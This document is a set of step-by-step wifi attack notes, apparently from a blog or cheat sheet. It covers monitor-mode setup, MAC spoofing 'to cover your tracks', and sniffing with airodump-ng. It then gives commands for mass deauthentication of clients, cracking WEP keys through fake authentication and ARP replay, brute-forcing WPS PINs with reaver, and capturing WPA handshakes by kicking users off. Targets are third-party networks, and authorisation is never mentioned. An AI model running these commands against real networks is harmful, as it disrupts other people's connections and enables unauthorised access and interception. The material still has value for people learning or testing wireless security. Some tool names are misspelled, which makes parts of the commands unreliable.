Adapters: Built-in wireless adapters in retail computers will not perform for what you need. You need a wireless adapter that will support: Monitor Mode & Packet Injection (Explanation).
Attaching USB Device to VM in VirtualBox
VirtualBox (Host) Setup:
adduser [username: echo $USER] vboxuser
lsusb
in the host Linux O/S.Virtual Machine (Guest) Setup:
lsusb
. You should see your chipset.ifconfig
or iwconfig
or ip a
apt-cache search RTL8812AU
or apt-cache search realtek
, etc.apt install realtek-rtl88xxau-dkms
apt update
and then apt full-upgrade
apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6 systemctl restart network-manager
lsusb
in terminal.ifconfig
or iwconfig
or ip a
Network CLI: https://www.tecmint.com/ip-command-examples/
You may need to spoof your address to cover your tracks or to take over a MAC address of someone on the network. First, find your interface name (e.g., wlan0); use one of the following:
ifconfig ip addr show ip link show
1. Disable the interface first (two ways, old and new; use one):
ifconfig wlan0 down ip link set wlan0 down
2A. [Option 1] Change the MAC address (hw ether
: hardware ethernet address; (use any addr you want that starts with 00)):
ifconfig wlan0 hw ether 00:11:22:33:44:55 ip link set dev wlan0 address 00:11:22:33:44:55
2B. [Option 2] Use macchanger
to do it for you:
macchanger --random wlan0
3. Enable the interface (two ways, old and new; pick one):
ifconfig wlan0 up ip link set wlan0 up
4. Check it (pick one):
ifconfig ip addr show ip link show
5. PAY ATTENTION: your network manager might revert the MAC to original
macchanger
, you probably won't get this problem (although I haven't fully tested it)./etc/NetworkManager/NetworkManager.conf
and paste the following at the end of the file: [device] wifi.scan-rand-mac-address=no [connection] ethernet.cloned-mac-address=preserve wifi.cloned-mac-address=preserve
service network-manager restart
Do an iwconfig
to check out wlan0
(or whatever your interface name is): should be Mode: Managed
(you need to change to Monitored
in order to catch all network traffic).
1. Disable the interface.
ifconfig wlan0 down ip link set wlan0 down
2. Kill any process that would interfere with monitor mode (This will kill your network connection. Don't worry. You don't need it.):
airmon-ng check kill
3. Enable monitor mode [1].
iwconfig wlan0 mode monitor
4. Enable the interface.
ifconfig wlan0 up ip link set wlan0 up
Run iwconfig
and you should see Mode:Monitor
(capture any packet in range).
[1] The mode
sets the operating mode of the device:
ad hoc
(network composed of only one cell and without access point)managed
(node connects to a network composed of many access points, with roaming)master
(the node is the synchronisation master or acts as an access point)repeater
(the node forwards packets between other wireless nodes)secondary
(the node acts as a backup master/repeater)monitor
(the node is not associated with any cell and passively monitor all packets on the frequency)auto
General wireless packet sniffing is done with airodump-ng
, part of the aircrack-ng
suite.
This will give you general information about the wireless networks around you.
man page: airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with air‐ crack-ng. NOTE: Ctrl-c to exit. Syntax:
airodump-ng [options] <interface name>
Must first enable monitor mode (see above). Then run (assuming interface name wlan0):
airodump-ng wlan0 # 2.4Ghz only, quicker
To get airodump to sniff on 5Ghz … or all of them…
airodump-ng --band a wlan0 # 5Ghz, quicker airodump-ng --band abg wlan0 # 5Ghz + 2.4Ghz, slower
Once you find a target network in the information provided by airodump
, move on…
Here you specify the target network (BSSID + Channel) you want to play with…
Target One Specific Network: From the general sniff of all traffic you just did, copy the target BSSID and Channel number:
–write filename
if you just want to see the network and clients on that network.airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X --write filename wlan0
This creates files in your current working directory (filename*.*).
Wireshark: use it to analyze the data you captured… open the .cap file.
Deauthentication Attack: Disconnect any client from any network…
Tool: aireplay-ng
aireplay-ng --deauth=10000000 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0 # program repeat lots MAC addr router MAC addr client wireless adpater
The -c
argument is the MAC address of the client machine on the network you are deauthenticating. It is not the MAC address of your attack machine.
airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X wlan0
This still may fail unless you are also running airodump-ng
against the target network (the command just above).
WEP: Wired Equivalent Privacy (Old & Easy)
Tool: aircrack-ng
(used to crack WEP's Initialization Vector for the key stream)
All you need to do is capture a bunch of packets (airodump-ng
), analyze the captured IVs (aircrack-ng
) and discover the WEP key.
#DATA
column shows the number of useful packets w/ unique WEP IVs.aircrack-ng
against your airodump-ng
capture (.cap) file.aircrack-ng filename.cap
Take the key from aircrack
(XX:XX:XX:XX:XX), remove the colons, and use that number to log into the network.
PROBLEM: If the network isn't busy enough, the #DATA
will not increase enough.
SOLUTION: Generate your own traffic… force access point to generate new IVs.
TOOL: aireply-ng
1. Run airodump-ng
against your target network (as above) in one term window:
airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X --write filename wlan0
2. Associate with this network with aireply-ng
in another term window:
aireply-ng --fakeauth 0 -a [MAC of target router] -h [MAC of wireless adapter] wlan0 # run fake authentication attack once ("0")
3. Now communicate with the network with which you are associated via aireply-ng
:
aireply-ng --arpreplay -b [MAC of target router] -h [MAC of wireless adapter] wlan0
4. Then run aircrack-ng (filename should be something like arpreplay-01.cap)
aircrack-ng filename.cap
The only difference is the ecryption method: WPA uses TKIP and WPA2 uses CCMP. The same methods will work with both WPA and WPA2.
Misconfiguration Exploit: WPS (allows clients to connect without the password).
1. TOOL: wash
(display all networks with WPS enable). You may need to put your wireless interface into auto mode instead of monitor mode.
wash --interface wlan0 # if this errors out, do the following... ifconfig wlan0 down # or ifdown wlan0 iwconfig wlan0 mode auto ifconfig wlan0 up # or ifup wlan0 wash --interface wlan0 # remember to change mode back to monitor for the hacks
2. Associate with the network (as above)… set this up but DO NOT RUN IT YET…
aireply-ng --fakeauth 30 -a [MAC of target router] -h [MAC of wireless adapter] wlan0 # associate with the target network every 30 seconds
3. In another term window run reaver
to brute force the PIN:
reaver --bssid [MAC of target router] --channel [#] --interface wlan0 -vvv --no-associate
4. Launch reaver
and then your aireply-ng
you set up but did not run.
WPA/WPA2 CRACKING: The only packets that can aid cracking are the handshake packets.
1. Run airodump-ng
against all reachable networks…
airodump-ng wlan0 # 2.4Ghz only, quicker airodump-ng --band a wlan0 # 5Ghz, quicker airodump-ng --band abg wlan0 # 5Ghz + 2.4Ghz, slower
2. Find your target router and run airodump-ng
to dump data to a file…
airodump-ng --bssid XX:XX:XX:XX:XX:XX --channel X --write filename wlan0
3. Let it run and wait for the handshake to occur (someone to connect to router).
4. If you're impatient, deauthenticate a current user and he'll connect again, giving you the handshake you want.
aireplay-ng --deauth 4 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0 # program repeat 4x MAC addr router MAC addr client to disconnect
5. Use that WPA handshake value to get the key for the wireless network (see next).
We'll have some more goodies later…